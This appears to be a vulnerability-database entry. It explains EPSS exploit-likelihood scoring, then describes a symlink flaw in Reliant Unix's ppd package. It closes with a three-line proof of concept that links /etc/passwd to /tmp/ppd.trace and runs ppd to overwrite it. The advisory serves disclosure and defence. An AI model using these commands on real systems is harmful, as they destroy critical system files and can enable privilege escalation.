EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Reliant Unix is a variant of the UNIX Operating System distributed by Fujitsu-Siemens. Reliant Unix is a scalable UNIX Operating system designed for use on Siemens servers.
A problem in the operating system could make it possible for a user to deny service to legitimate users. Due to the improper checking of file creation rights by the ppd software package included with the operating system, it is possible for a user to create a symbolic link in /tmp with the name ppd.trace, and overwrite any file on the system.
This vulnerability makes it possible for a local user to overwrite sensitive system files, potentially denying service to legitimate users, and possibly gaining elevated privileges.
ln -s /etc/passwd /tmp/ppd.trace
/opt/bin/ppd -T
cat /etc/passwd
